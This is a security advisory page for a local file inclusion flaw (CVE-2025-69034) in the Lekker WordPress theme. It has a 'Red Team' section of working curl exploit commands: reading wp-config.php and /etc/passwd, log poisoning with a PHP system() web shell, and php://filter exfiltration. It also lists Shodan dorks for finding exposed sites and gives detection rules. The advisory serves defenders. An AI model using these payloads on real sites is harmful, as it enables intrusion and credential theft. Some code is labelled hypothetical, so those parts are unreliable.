☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Qodeinteractive logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-69034

CVE-2025-69034 Local File Inclusion in Qodeinteractive
📅 PUBLISHED: 2025-12-30 11:16 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-69034 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Qodeinteractive Lekker WordPress theme, affecting all versions up to and including 1.8. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., wp-config.php), remote code execution via log poisoning, and full server compromise. As a WordPress ecosystem issue, the vulnerability resides entirely within the theme's codebase and is not related to the underlying web server software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a commercial WordPress theme distributed via the Qodeinteractive marketplace. Since the theme is not available on public package registries like Packagist, the supply chain risk is limited to direct downloads from the vendor. However, users who obtained the theme through unofficial channels (nulled versions) are at heightened risk as they may lack access to future patches.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component remains the same.
  • Confidentiality (C): High (H) – Full file read capability.
  • Integrity (I): High (H) – Potential for code execution via log poisoning.
  • Availability (A): High (H) – Could lead to denial of service or full compromise.

CVSS Score: 8.1 (High) – This vulnerability is considered high severity due to the low attack complexity and potential for complete compromise of the WordPress installation.

Deep Dive & Mechanics

The vulnerability exists in the Lekker theme's file inclusion mechanism, likely within a custom page builder or template loader. The theme fails to sanitize user-supplied input used in PHP include() or require() statements. An attacker can manipulate parameters such as template, file, or page to traverse directories and include arbitrary files.

Root Cause: The theme uses user input directly in a file inclusion function without proper validation or sanitization. For example:

include( get_template_directory() . '/includes/' . $_GET['template'] . '.php' );

An attacker can supply ../../../../wp-config as the template parameter to include the WordPress configuration file.

Exploitation Path:

  1. Direct File Read: Access sensitive files like wp-config.php, .htaccess, or /etc/passwd.
  2. Log Poisoning: Inject PHP code into server logs (e.g., via User-Agent header), then include the log file to achieve Remote Code Execution (RCE).
  3. PHP Wrappers: Use php://filter to base64-encode file contents for exfiltration.

Vulnerable vs. Patched Code

Vulnerable Code (Lekker <= 1.8):

// In template-loader.php or similar
$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );

Patched Code (Hypothetical Fix):

// Whitelist approach
$allowed_templates = array('default', 'full-width', 'sidebar');
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include( get_template_directory() . '/templates/' . $template . '.php' );
} else {
    // Fallback to default
    include( get_template_directory() . '/templates/default.php' );
}

Key Differences:

  • The patched version implements a whitelist of allowed template names.
  • Input is validated against the whitelist before inclusion.
  • Path traversal characters are effectively blocked.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install WordPress with Lekker theme version 1.8.
  2. Ensure the site is accessible over the network.

Exploitation Steps:

  1. Basic LFI to read /etc/passwd:
curl "http://target.com/?template=../../../../../../../../etc/passwd%00"

Note: The null byte (%00) may be required for older PHP versions.

  1. Read wp-config.php:
curl "http://target.com/?template=../../../../wp-config"
  1. Log Poisoning for RCE:
    • Inject PHP code into access log via User-Agent:
curl -A "<?php system($_GET['cmd']); ?>" "http://target.com/"
  • Include the log file:
curl "http://target.com/?template=../../../../../../var/log/apache2/access.log&cmd=id"
  1. PHP Wrapper for Base64 Encoding:
curl "http://target.com/?template=php://filter/convert.base64-encode/resource=wp-config"

Blue Team (Defensive)

Detection Steps:

  1. Monitor web server logs for path traversal patterns (../, %2e%2e/, php://).
  2. Deploy a Web Application Firewall (WAF) rule to block template parameter containing ../ or php://.
  3. Implement file integrity monitoring on critical WordPress files.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri=*template=*
| eval malicious=if(match(uri,"\.\./|php://|file://"),"true","false")
| where malicious="true"
| table _time, src_ip, uri, status

Indicators of Compromise (IOCs)

  • URL Patterns:

    • ?template=../../../../wp-config
    • ?template=php://filter/convert.base64-encode/resource=*
    • ?template=../../../../../../etc/passwd
  • Log Entries:

    • User-Agent containing PHP code: <?php system(...) ?>
    • Repeated 404 errors with path traversal attempts.
  • File System:

    • Unexpected files in /tmp/ or web root with .php extension.
    • Modified .htaccess files with AddType directives.
  • Network:

    • Outbound connections from the web server to unknown IPs (post-exploitation).

Detection Engineering

YARA Rule

rule CVE_2025_69034_LFI_Attempt {
    meta:
        description = "Detects LFI attempts targeting CVE-2025-69034 in Lekker theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69034"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $wrapper1 = "php://"
        $wrapper2 = "file://"
        $param = "template="
    condition:
        any of ($traversal*) and $param or any of ($wrapper*) and $param
}

Sigma Rule

title: CVE-2025-69034 Lekker Theme LFI Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in the template parameter of Lekker theme
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'template=../'
            - 'template=php://'
            - 'template=file://'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in custom templates (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69034 Lekker Theme LFI Attempt"; flow:to_server,established; content:"template="; http_uri; content:"../"; distance:0; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Lekker theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is available.
  2. Implement a WAF rule to block requests containing template= with path traversal characters.
  3. Restrict file permissions on wp-config.php to 400 or 440.

Long-term Fix:

  • Contact Qodeinteractive for an official patch.
  • If custom development is possible, implement input validation using a whitelist approach as shown in the patched code section.
  • Consider migrating to a different theme if the vendor does not provide timely updates.

Configuration Hardening:

  • Disable PHP allow_url_include in php.ini to prevent remote file inclusion.
  • Set open_basedir to restrict PHP file access to the web root.
  • Enable disable_functions for exec, system, passthru, etc., if not required.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Lekker"
http.html:"wp-content/themes/lekker"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-69034/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.